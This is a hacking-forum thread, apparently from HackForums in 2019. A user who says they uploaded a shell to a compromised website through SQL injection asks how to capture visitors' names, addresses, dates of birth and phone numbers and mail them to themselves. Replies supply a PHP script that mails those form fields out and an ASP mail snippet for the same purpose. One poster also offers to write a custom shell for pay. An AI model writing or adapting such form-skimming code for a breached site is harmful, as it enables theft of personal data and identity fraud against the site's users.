Thread: [\[HELP\]mail function-- sql injection -shell upload](#)

tabi - May 10, 2019, 11:59 am

Hello,

explain : user query on website : submit offer , affiliate in cluded infomation i need like name , address , dob , phone number etc,

i'm uploaded shell now i want edit or creat new function get infomation i want from victim and sent to my mail after user complete form or submit task

sorry about my bad english, im glad explain any question if anyone understand what i say
have nice day, thanks for reading !!!

PHP Code

```
<?php
```

```
$name = $_POST['name'];
```

```
$address = $_POST['address'];
```

```
$dob = $_POST['dob'];
```

```
$phone = $_POST['phone'];
```

```
$msg = $name."-----".$address."-----".$dob."-----".$phone;
```

```
$msg = wordwrap($msg,sizeof($msg));
```

```
mail("username@example.com","Form info",$msg);
```

```
?>
```

Put this script below the form, and input the right form id's.

god, thanks for fast reply. im trying.
sorry, this site build from asp language

Nexium - May 10, 2019, 12:45 pm

Does it run php also.

If not then:

Then just catch the POST or GET requests with asp.

For asp try this function with asp.

Code <%

```
Set myMail = CreateObject("CDO.Message")  
myMail.Subject = "Sending email with CDO"  
myMail.From = "mymail@mydomain.com"  
myMail.To = "someone@somedomain.com"  
myMail.TextBody = "This is a message."  
myMail.Send  
set myMail = nothing  
%>
```

this site run asp only. i think i need time to find where i can put this script and more...
thanks again

If you got \$\$\$\$ i can code you a shell that suits your needs.

Maybe i will code a shell in asp tonight and put it here on HF.

No problem mate.
